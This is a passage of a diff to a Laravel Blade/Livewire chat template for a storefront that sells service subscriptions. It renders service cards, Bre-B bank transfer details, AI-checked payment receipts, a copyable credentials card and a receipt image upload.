class="px-3 py-2 rounded-xl text-sm font-medium border border-[#3d4a51] text-[#3d4a51] bg-transparent cursor-not-allowed opacity-50">
|
||||||
|
{{ $btn['label'] }}
|
||||||
|
</button>
|
||||||
|
@else
|
||||||
|
<button wire:click="clickBoton('{{ $btn['action'] }}', {{ json_encode($btn['data'] ?? []) }})"
|
||||||
|
class="px-3 py-2 rounded-xl text-sm font-medium border border-[#00a884] text-[#00a884] bg-transparent active:bg-[#00a884]/20 transition">
|
||||||
|
{{ $btn['label'] }}
|
||||||
|
</button>
|
||||||
|
@endif
|
||||||
|
@endforeach
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- CARD: tarjeta de servicio o promo --}}
|
||||||
|
@elseif ($tipoUi === 'card')
|
||||||
|
<div class="max-w-[85%] bg-[#202c33] rounded-xl rounded-tl-sm shadow overflow-hidden">
|
||||||
|
@if (!empty($payload['imagen']))
|
||||||
|
<img src="{{ Str::startsWith($payload['imagen'], ['http','//']) ? $payload['imagen'] : asset($payload['imagen']) }}" class="w-full object-cover" style="max-height:130px;">
|
||||||
|
@endif
|
||||||
|
<div class="px-4 py-3">
|
||||||
|
<p class="text-white font-semibold text-sm">{{ $payload['titulo'] ?? '' }}</p>
|
||||||
|
@if (!empty($payload['descripcion']))
|
||||||
|
<p class="text-[#8696a0] text-xs mt-1">{{ $payload['descripcion'] }}</p>
|
||||||
|
@endif
|
||||||
|
@if (!empty($payload['precio']))
|
||||||
|
<p class="text-[#00a884] font-bold text-base mt-2">${{ number_format($payload['precio']) }}</p>
|
||||||
|
@endif
|
||||||
|
@if (!empty($payload['detalle']))
|
||||||
|
<p class="text-[#8696a0] text-xs">{{ $payload['detalle'] }}</p>
|
||||||
|
@endif
|
||||||
|
@if (!empty($payload['accion']))
|
||||||
|
<button wire:click="clickBoton('{{ $payload['accion']['action'] }}', {{ json_encode($payload['accion']['data'] ?? []) }})"
|
||||||
|
class="mt-3 w-full bg-[#00a884] text-white text-sm font-semibold rounded-xl py-2 active:bg-[#06cf9c] transition">
|
||||||
|
{{ $payload['accion']['label'] }}
|
||||||
|
</button>
|
||||||
|
@endif
|
||||||
|
</div>
|
||||||
|
<div class="px-4 pb-2 text-right">
|
||||||
|
<span class="text-[#8696a0] text-[11px]">{{ $msg['created_at'] }}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- CARDS SLIDER: servicios / promos en carrusel horizontal --}}
|
||||||
|
@elseif ($tipoUi === 'cards_slider')
|
||||||
|
<div class="w-full max-w-full space-y-2">
|
||||||
|
@if ($msg['contenido'])
|
||||||
|
<div class="bg-[#202c33] text-white rounded-xl rounded-tl-sm px-4 py-2 shadow inline-block max-w-[80%]">
|
||||||
|
<p class="text-sm">{{ $msg['contenido'] }}</p>
|
||||||
|
<span class="text-[#8696a0] text-[11px] float-right mt-1 ml-2">{{ $msg['created_at'] }}</span>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
{{-- Scroll horizontal de cards --}}
|
||||||
|
<div class="flex gap-3 overflow-x-auto pb-2"
|
||||||
|
style="-webkit-overflow-scrolling:touch; scroll-snap-type:x mandatory; scrollbar-width:none;">
|
||||||
|
@foreach ($payload['cards'] ?? [] as $card)
|
||||||
|
<div class="flex-shrink-0 bg-[#202c33] rounded-xl shadow overflow-hidden"
|
||||||
|
style="width:180px; scroll-snap-align:start;">
|
||||||
|
@if (!empty($card['imagen']))
|
||||||
|
<img src="{{ Str::startsWith($card['imagen'], ['http','//']) ? $card['imagen'] : asset($card['imagen']) }}" class="w-full object-cover" style="height:100px;">
|
||||||
|
@else
|
||||||
|
<div class="w-full bg-[#2a3942] flex items-center justify-center" style="height:80px;">
|
||||||
|
<svg class="w-8 h-8 text-[#8696a0]" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z" />
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
<div class="px-3 py-2.5">
|
||||||
|
<p class="text-white text-sm font-semibold truncate">{{ $card['titulo'] ?? '' }}</p>
|
||||||
|
@if (!empty($card['precio']))
|
||||||
|
<p class="text-[#00a884] font-bold text-sm mt-0.5">${{ number_format($card['precio']) }}</p>
|
||||||
|
@endif
|
||||||
|
@if (!empty($card['detalle']))
|
||||||
|
<p class="text-[#8696a0] text-xs mt-0.5 truncate">{{ $card['detalle'] }}</p>
|
||||||
|
@endif
|
||||||
|
@if (!empty($card['descripcion']))
|
||||||
|
<p class="text-[#8696a0] text-xs mt-0.5 line-clamp-2">{{ $card['descripcion'] }}</p>
|
||||||
|
@endif
|
||||||
|
@if (!empty($card['accion']))
|
||||||
|
<button wire:click="clickBoton('{{ $card['accion']['action'] }}', {{ json_encode($card['accion']['data'] ?? []) }})"
|
||||||
|
class="mt-2.5 w-full bg-[#00a884] text-white text-xs font-semibold rounded-lg py-1.5 active:bg-[#06cf9c] transition">
|
||||||
|
{{ $card['accion']['label'] }}
|
||||||
|
</button>
|
||||||
|
@endif
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
@endforeach
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- LINK: botón de pago externo --}}
|
||||||
|
@elseif ($tipoUi === 'link')
|
||||||
|
<div class="max-w-[85%] bg-[#202c33] rounded-xl rounded-tl-sm px-4 py-3 shadow">
|
||||||
|
<p class="text-white text-sm mb-3 whitespace-pre-line">{{ $msg['contenido'] }}</p>
|
||||||
|
<a href="{{ $payload['url'] ?? '#' }}" target="_blank"
|
||||||
|
class="flex items-center justify-center gap-2 w-full bg-[#00a884] text-white text-sm font-semibold rounded-xl py-2.5 active:bg-[#06cf9c] transition">
|
||||||
|
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="M13.5 6H5.25A2.25 2.25 0 0 0 3 8.25v10.5A2.25 2.25 0 0 0 5.25 21h10.5A2.25 2.25 0 0 0 18 18.75V10.5m-10.5 6L21 3m0 0h-5.25M21 3v5.25" />
|
||||||
|
</svg>
|
||||||
|
{{ $payload['label'] ?? 'Ir a pagar' }}
|
||||||
|
</a>
|
||||||
|
@if (!empty($payload['nota']))
|
||||||
|
<p class="text-[#8696a0] text-xs mt-2 text-center">{{ $payload['nota'] }}</p>
|
||||||
|
@endif
|
||||||
|
<div class="mt-2 text-right">
|
||||||
|
<span class="text-[#8696a0] text-[11px]">{{ $msg['created_at'] }}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- VALIDACION: resultado de comprobante de pago --}}
|
||||||
|
@elseif ($tipoUi === 'validacion')
|
||||||
|
<div class="max-w-[88%] bg-[#202c33] rounded-xl rounded-tl-sm shadow overflow-hidden">
|
||||||
|
{{-- Header estado --}}
|
||||||
|
@php
|
||||||
|
$estado = $payload['estado'] ?? 'no_encontrado';
|
||||||
|
$esConfirmado = $estado === 'confirmado';
|
||||||
|
$esIncorrecto = $estado === 'monto_incorrecto';
|
||||||
|
@endphp
|
||||||
|
<div class="px-4 py-2 {{ $esConfirmado ? 'bg-green-900/40' : ($esIncorrecto ? 'bg-amber-900/40' : 'bg-red-900/30') }}">
|
||||||
|
<p class="text-sm font-semibold {{ $esConfirmado ? 'text-green-400' : ($esIncorrecto ? 'text-amber-400' : 'text-red-400') }}">
|
||||||
|
@if ($esConfirmado) ✅ Pago confirmado
|
||||||
|
@elseif ($esIncorrecto) ⚠️ Monto no coincide
|
||||||
|
@else ⏳ Verificando pago...
|
||||||
|
@endif
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
{{-- Datos extraídos --}}
|
||||||
|
<div class="px-4 py-3 space-y-1">
|
||||||
|
<p class="text-[#8696a0] text-xs font-semibold uppercase tracking-wider mb-2">Datos del comprobante</p>
|
||||||
|
@foreach (['banco' => 'Banco', 'valor' => 'Valor', 'remitente' => 'De', 'referencia' => 'Referencia', 'fecha' => 'Fecha'] as $key => $label)
|
||||||
|
@if (!empty($payload['ia_datos'][$key]))
|
||||||
|
<div class="flex justify-between text-xs">
|
||||||
|
<span class="text-[#8696a0]">{{ $label }}</span>
|
||||||
|
<span class="text-white font-medium">{{ $payload['ia_datos'][$key] }}</span>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
@endforeach
|
||||||
|
</div>
|
||||||
|
{{-- Botones de acción --}}
|
||||||
|
<div class="px-4 pb-3 flex flex-wrap gap-2">
|
||||||
|
@foreach ($payload['botones'] ?? [] as $btn)
|
||||||
|
<button wire:click="clickBoton('{{ $btn['action'] }}', {{ json_encode($btn['data'] ?? []) }})"
|
||||||
|
class="flex-1 px-3 py-2 rounded-xl text-xs font-medium border {{ $esConfirmado ? 'border-green-500 text-green-400' : 'border-[#8696a0] text-[#8696a0]' }} bg-transparent active:bg-white/5 transition">
|
||||||
|
{{ $btn['label'] }}
|
||||||
|
</button>
|
||||||
|
@endforeach
|
||||||
|
</div>
|
||||||
|
<div class="px-4 pb-2 text-right">
|
||||||
|
<span class="text-[#8696a0] text-[11px]">{{ $msg['created_at'] }}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- CREDENCIALES: tarjeta con usuario/contraseña --}}
|
||||||
|
@elseif ($tipoUi === 'credenciales')
|
||||||
|
<div class="max-w-[85%] bg-[#202c33] rounded-xl rounded-tl-sm shadow overflow-hidden"
|
||||||
|
x-data="{
|
||||||
|
copiado: null,
|
||||||
|
copiarCampo(val, id) {
|
||||||
|
navigator.clipboard.writeText(val).then(() => { this.copiado = id; setTimeout(() => this.copiado = null, 2000); });
|
||||||
|
},
|
||||||
|
copiarTodo() {
|
||||||
|
let parts = [
|
||||||
|
'Servicio: ' + ($refs.cred_servicio?.innerText ?? ''),
|
||||||
|
$refs.cred_email ? 'Email: ' + $refs.cred_email.innerText : '',
|
||||||
|
$refs.cred_pass ? 'Password: ' + $refs.cred_pass.innerText : '',
|
||||||
|
$refs.cred_perfil ? 'Perfil: ' + $refs.cred_perfil.innerText : '',
|
||||||
|
$refs.cred_vence ? 'Vence: ' + $refs.cred_vence.innerText : '',
|
||||||
|
].filter(Boolean);
|
||||||
|
navigator.clipboard.writeText(parts.join('\n')).then(() => { this.copiado = 'todo'; setTimeout(() => this.copiado = null, 2000); });
|
||||||
|
}
|
||||||
|
}">
|
||||||
|
{{-- Encabezado servicio --}}
|
||||||
|
<div class="px-4 py-2 bg-[#00a884]/20 flex items-center justify-between">
|
||||||
|
<p class="text-[#00a884] text-xs font-semibold uppercase tracking-wider" x-ref="cred_servicio">{{ $payload['servicio'] ?? 'Credenciales' }}</p>
|
||||||
|
<span class="text-[#00a884] text-[10px]">✅ Compra exitosa</span>
|
||||||
|
</div>
|
||||||
|
{{-- Mensaje de gracias --}}
|
||||||
|
@if (!empty($msg['contenido']))
|
||||||
|
<div class="px-4 pt-3 pb-1">
|
||||||
|
<p class="text-[#e9edef] text-sm leading-snug">{{ $msg['contenido'] }}</p>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
{{-- Campos con copiar individual --}}
|
||||||
|
<div class="px-4 py-3 space-y-2">
|
||||||
|
@if (!empty($payload['email']))
|
||||||
|
<div class="bg-[#0b141a] rounded-lg px-3 py-2 cursor-pointer active:opacity-70"
|
||||||
|
@click="copiarCampo($refs.cred_email.innerText, 'email')">
|
||||||
|
<div class="flex justify-between items-center mb-0.5">
|
||||||
|
<p class="text-[#8696a0] text-[11px]">Usuario / Email</p>
|
||||||
|
<svg class="w-3.5 h-3.5 transition" :class="copiado==='email' ? 'text-green-400' : 'text-[#8696a0]'" fill="none" viewBox="0 0 24 24" stroke-width="1.8" stroke="currentColor">
|
||||||
|
<template x-if="copiado !== 'email'"><path stroke-linecap="round" stroke-linejoin="round" d="M15.666 3.888A2.25 2.25 0 0 0 13.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 0 1-.75.75H9a.75.75 0 0 1-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 0 1-2.25 2.25H6.75A2.25 2.25 0 0 1 4.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 0 1 1.927-.184" /></template>
|
||||||
|
<template x-if="copiado === 'email'"><path stroke-linecap="round" stroke-linejoin="round" d="m4.5 12.75 6 6 9-13.5" /></template>
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
<p class="text-white text-sm font-mono break-all" x-ref="cred_email">{{ $payload['email'] }}</p>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
@if (!empty($payload['password']))
|
||||||
|
<div class="bg-[#0b141a] rounded-lg px-3 py-2 cursor-pointer active:opacity-70"
|
||||||
|
@click="copiarCampo($refs.cred_pass.innerText, 'pass')">
|
||||||
|
<div class="flex justify-between items-center mb-0.5">
|
||||||
|
<p class="text-[#8696a0] text-[11px]">Contraseña</p>
|
||||||
|
<svg class="w-3.5 h-3.5 transition" :class="copiado==='pass' ? 'text-green-400' : 'text-[#8696a0]'" fill="none" viewBox="0 0 24 24" stroke-width="1.8" stroke="currentColor">
|
||||||
|
<template x-if="copiado !== 'pass'"><path stroke-linecap="round" stroke-linejoin="round" d="M15.666 3.888A2.25 2.25 0 0 0 13.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 0 1-.75.75H9a.75.75 0 0 1-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 0 1-2.25 2.25H6.75A2.25 2.25 0 0 1 4.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 0 1 1.927-.184" /></template>
|
||||||
|
<template x-if="copiado === 'pass'"><path stroke-linecap="round" stroke-linejoin="round" d="m4.5 12.75 6 6 9-13.5" /></template>
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
<p class="text-white text-sm font-mono" x-ref="cred_pass">{{ $payload['password'] }}</p>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
@if (!empty($payload['perfil']))
|
||||||
|
<div class="bg-[#0b141a] rounded-lg px-3 py-2">
|
||||||
|
<p class="text-[#8696a0] text-[11px] mb-0.5">Perfil</p>
|
||||||
|
<p class="text-white text-sm" x-ref="cred_perfil">{{ $payload['perfil'] }}</p>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
@if (!empty($payload['vence']))
|
||||||
|
<p class="text-[#8696a0] text-xs text-center">📅 Vence: <span x-ref="cred_vence">{{ $payload['vence'] }}</span></p>
|
||||||
|
@endif
|
||||||
|
</div>
|
||||||
|
{{-- Botón Copiar todo --}}
|
||||||
|
<div class="px-4 pb-3">
|
||||||
|
<button @click="copiarTodo()"
|
||||||
|
class="w-full py-2 rounded-xl text-sm font-semibold transition flex items-center justify-center gap-2"
|
||||||
|
:class="copiado === 'todo' ? 'bg-green-500/20 text-green-400' : 'bg-[#00a884]/10 text-[#00a884] active:bg-[#00a884]/20'">
|
||||||
|
<template x-if="copiado !== 'todo'">
|
||||||
|
<span class="flex items-center gap-1.5">
|
||||||
|
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="1.8" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.666 3.888A2.25 2.25 0 0 0 13.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 0 1-.75.75H9a.75.75 0 0 1-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 0 1-2.25 2.25H6.75A2.25 2.25 0 0 1 4.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 0 1 1.927-.184" /></svg>
|
||||||
|
Copiar todo
|
||||||
|
</span>
|
||||||
|
</template>
|
||||||
|
<template x-if="copiado === 'todo'">
|
||||||
|
<span class="flex items-center gap-1.5">
|
||||||
|
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="2.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="m4.5 12.75 6 6 9-13.5" /></svg>
|
||||||
|
¡Copiado!
|
||||||
|
</span>
|
||||||
|
</template>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="px-4 pb-2 text-right">
|
||||||
|
<span class="text-[#8696a0] text-[11px]">{{ $msg['created_at'] }}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- BANCO: datos de transferencia bancaria --}}
|
||||||
|
@elseif ($tipoUi === 'banco')
|
||||||
|
<div class="max-w-[85%] bg-[#202c33] rounded-xl rounded-tl-sm shadow overflow-hidden">
|
||||||
|
<div class="px-4 py-2.5 bg-blue-900/40 flex items-center gap-2">
|
||||||
|
<svg class="w-4 h-4 text-blue-400 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="M12 21v-8.25M15.75 21v-8.25M8.25 21v-8.25M3 9l9-6 9 6m-1.5 12V10.332A48.36 48.36 0 0 0 12 9.75c-2.551 0-5.056.2-7.5.582V21M3 21h18M12 6.75h.008v.008H12V6.75Z" />
|
||||||
|
</svg>
|
||||||
|
<p class="text-blue-300 text-xs font-semibold uppercase tracking-wider">Pago por Bre-B</p>
|
||||||
|
</div>
|
||||||
|
<div class="px-4 py-3 space-y-3">
|
||||||
|
@if (!empty($payload['banco']))
|
||||||
|
<div class="flex justify-between items-center">
|
||||||
|
<span class="text-[#8696a0] text-xs">Banco / Billetera</span>
|
||||||
|
<span class="text-white text-sm font-semibold">{{ $payload['banco'] }}</span>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
<div class="bg-[#0b141a] rounded-xl px-4 py-3 text-center"
|
||||||
|
x-data="{ copiado: false }">
|
||||||
|
<p class="text-[#8696a0] text-[11px] mb-2">Llave Bre-B</p>
|
||||||
|
<div class="flex items-center justify-center gap-3">
|
||||||
|
<p class="text-[#00a884] text-2xl font-bold font-mono tracking-widest select-all">{{ $payload['clave'] ?? '' }}</p>
|
||||||
|
<button
|
||||||
|
@click="navigator.clipboard.writeText('{{ $payload['clave'] ?? '' }}').then(() => { copiado = true; setTimeout(() => copiado = false, 2000) })"
|
||||||
|
class="flex-shrink-0 p-2 rounded-xl transition"
|
||||||
|
:class="copiado ? 'bg-green-500/20 text-green-400' : 'bg-[#00a884]/20 text-[#00a884] active:bg-[#00a884]/40'">
|
||||||
|
<template x-if="!copiado">
|
||||||
|
<svg class="w-5 h-5" fill="none" viewBox="0 0 24 24" stroke-width="1.8" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="M15.666 3.888A2.25 2.25 0 0 0 13.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 0 1-.75.75H9a.75.75 0 0 1-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 0 1-2.25 2.25H6.75A2.25 2.25 0 0 1 4.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 0 1 1.927-.184" />
|
||||||
|
</svg>
|
||||||
|
</template>
|
||||||
|
<template x-if="copiado">
|
||||||
|
<svg class="w-5 h-5" fill="none" viewBox="0 0 24 24" stroke-width="2.5" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="m4.5 12.75 6 6 9-13.5" />
|
||||||
|
</svg>
|
||||||
|
</template>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<p x-show="copiado" x-transition class="text-green-400 text-xs mt-1.5">¡Copiado!</p>
|
||||||
|
</div>
|
||||||
|
@if (!empty($payload['titular']))
|
||||||
|
<div class="flex justify-between items-center">
|
||||||
|
<span class="text-[#8696a0] text-xs">Titular</span>
|
||||||
|
<span class="text-white text-sm">{{ $payload['titular'] }}</span>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
<div class="flex justify-between items-center border-t border-white/10 pt-2">
|
||||||
|
<span class="text-[#8696a0] text-xs">Monto exacto</span>
|
||||||
|
<span class="text-white text-base font-bold">${{ number_format($payload['monto'] ?? 0) }}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="px-4 pb-3">
|
||||||
|
<div class="bg-amber-900/20 border border-amber-700/30 rounded-lg px-3 py-2 flex items-start gap-2">
|
||||||
|
<svg class="w-4 h-4 text-amber-400 flex-shrink-0 mt-0.5" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="M6.827 6.175A2.31 2.31 0 0 1 5.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 0 0 2.25 2.25h15A2.25 2.25 0 0 0 21.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 0 0-1.134-.175 2.31 2.31 0 0 1-1.64-1.055l-.822-1.316a2.192 2.192 0 0 0-1.736-1.039 48.774 48.774 0 0 0-5.232 0 2.192 2.192 0 0 0-1.736 1.039l-.821 1.316Z" />
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="M16.5 12.75a4.5 4.5 0 1 1-9 0 4.5 4.5 0 0 1 9 0ZM18.75 10.5h.008v.008h-.008V10.5Z" />
|
||||||
|
</svg>
|
||||||
|
<p class="text-amber-300 text-xs">Envía el comprobante con el ícono 📷 de abajo y el sistema lo validará automáticamente</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="px-4 pb-2 text-right">
|
||||||
|
<span class="text-[#8696a0] text-[11px]">{{ $msg['created_at'] }}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- fallback --}}
|
||||||
|
@else
|
||||||
|
<div class="max-w-[80%] bg-[#202c33] text-white rounded-xl rounded-tl-sm px-4 py-2 shadow">
|
||||||
|
<p class="whitespace-pre-line break-words leading-relaxed" style="font-size:15px;">{{ $msg['contenido'] }}</p>
|
||||||
|
<span class="text-[#8696a0] text-[11px] float-right mt-1 ml-2">{{ $msg['created_at'] }}</span>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
|
||||||
@empty
|
@empty
|
||||||
<div class="text-center text-[#8696a0] text-sm py-10">Iniciando chat...</div>
|
<div class="text-center text-[#8696a0] text-sm py-10">Iniciando chat...</div>
|
||||||
@endforelse
|
@endforelse
|
||||||
{{-- Ancla para scroll al fondo --}}
|
|
||||||
|
{{-- Burbuja optimista: el mensaje del usuario aparece antes de
|
||||||
|
que el servidor responda, igual que en WhatsApp. Se borra
|
||||||
|
sola cuando Livewire devuelve la lista real. --}}
|
||||||
|
<template x-if="pendiente">
|
||||||
|
<div class="flex justify-end msg-in">
|
||||||
|
<div class="max-w-[80%] bg-[#005c4b] text-white rounded-xl rounded-tr-sm px-3 py-2 shadow opacity-80 bubble-out">
|
||||||
|
<p class="whitespace-pre-line break-words leading-relaxed" style="font-size:15px;" x-text="pendiente"></p>
|
||||||
|
<span class="inline-flex items-center gap-1 float-right mt-1 ml-2 translate-y-1">
|
||||||
|
<span class="text-white/60 text-[11px]">ahora</span>
|
||||||
|
<svg class="w-3.5 h-3.5 text-white/50" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5">
|
||||||
|
<circle cx="12" cy="12" r="9" stroke-dasharray="2.5 2.5"/>
|
||||||
|
</svg>
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
{{-- "Escribiendo…". Mientras el job valida el pago se queda fijo,
|
||||||
|
porque el trabajo ocurre fuera del request y wire:loading no
|
||||||
|
lo cubriría. --}}
|
||||||
|
@if ($flujo === 'pago.procesando')
|
||||||
|
<div class="flex justify-start msg-in">
|
||||||
|
<div class="bg-[#202c33] rounded-xl rounded-tl-sm px-4 py-3 shadow bubble-in">
|
||||||
|
<div class="flex items-center gap-1">
|
||||||
|
<span class="typing-dot"></span>
|
||||||
|
<span class="typing-dot"></span>
|
||||||
|
<span class="typing-dot"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
@else
|
||||||
|
<div wire:loading.flex wire:target="enviar, clickBoton, fotoComprobante" class="justify-start msg-in">
|
||||||
|
<div class="bg-[#202c33] rounded-xl rounded-tl-sm px-4 py-3 shadow bubble-in">
|
||||||
|
<div class="flex items-center gap-1">
|
||||||
|
<span class="typing-dot"></span>
|
||||||
|
<span class="typing-dot"></span>
|
||||||
|
<span class="typing-dot"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
|
||||||
<div id="pub-messages-end"></div>
|
<div id="pub-messages-end"></div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{{-- Input + safe area bottom (home indicator iPhone X+) --}}
|
{{-- Input + upload --}}
|
||||||
@if ($estadoConv !== 'cerrada')
|
@if ($estadoConv !== 'cerrada')
|
||||||
<div class="bg-[#202c33] flex-shrink-0 safe-bottom safe-left safe-right">
|
<div class="bg-[#202c33] flex-shrink-0 safe-bottom safe-left safe-right" style="flex-shrink:0;">
|
||||||
|
{{-- Preview local de la imagen seleccionada --}}
|
||||||
|
<template x-if="previewUrl">
|
||||||
|
<div class="px-3 pt-2 pb-1 flex items-center gap-3">
|
||||||
|
<div class="relative">
|
||||||
|
<img :src="previewUrl" class="h-16 w-16 object-cover rounded-xl border-2 border-[#00a884]">
|
||||||
|
<div class="absolute inset-0 bg-black/50 rounded-xl flex items-center justify-center">
|
||||||
|
<svg class="w-5 h-5 animate-spin text-white" fill="none" viewBox="0 0 24 24">
|
||||||
|
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
|
||||||
|
<path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8v8z"></path>
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<span class="text-[#8696a0] text-xs">Subiendo comprobante...</span>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
{{-- Indicador: subiendo archivo (fase Alpine) --}}
|
||||||
|
<div x-show="uploading && !previewUrl" x-cloak class="px-4 pt-2 pb-1">
|
||||||
|
<div class="flex items-center gap-2 text-[#8696a0] text-xs">
|
||||||
|
<svg class="w-4 h-4 animate-spin text-[#00a884]" fill="none" viewBox="0 0 24 24">
|
||||||
|
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
|
||||||
|
<path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8v8z"></path>
|
||||||
|
</svg>
|
||||||
|
Subiendo imagen...
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
{{-- Indicador: analizando con IA (fase Livewire server) --}}
|
||||||
|
<div wire:loading.block wire:target="fotoComprobante" class="px-4 pt-2 pb-1">
|
||||||
|
<div class="flex items-center gap-2 text-[#8696a0] text-xs">
|
||||||
|
<svg class="w-4 h-4 animate-spin text-[#00a884]" fill="none" viewBox="0 0 24 24">
|
||||||
|
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
|
||||||
|
<path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8v8z"></path>
|
||||||
|
</svg>
|
||||||
|
Enviando comprobante...
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
<div class="flex items-end gap-2 px-3 py-2.5">
|
<div class="flex items-end gap-2 px-3 py-2.5">
|
||||||
|
{{-- Botón adjuntar foto --}}
|
||||||
|
<label class="flex-shrink-0 cursor-pointer text-[#8696a0] active:text-[#00a884] transition" style="min-width:44px; min-height:44px; display:flex; align-items:center; justify-content:center;">
|
||||||
|
<input type="file" wire:model="fotoComprobante" accept="image/*" class="hidden"
|
||||||
|
x-on:change="
|
||||||
|
if ($event.target.files[0]) {
|
||||||
|
let r = new FileReader();
|
||||||
|
r.onload = e => previewUrl = e.target.result;
|
||||||
|
r.readAsDataURL($event.target.files[0]);
|
||||||
|
// Red de seguridad: si la respuesta nunca llega,
|
||||||
|
// no dejamos la miniatura girando para siempre.
|
||||||
|
setTimeout(() => { previewUrl = null; uploading = false; }, 45000);
|
||||||
|
}
|
||||||
|
"
|
||||||
|
>
|
||||||
|
<svg class="w-6 h-6" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||||
|
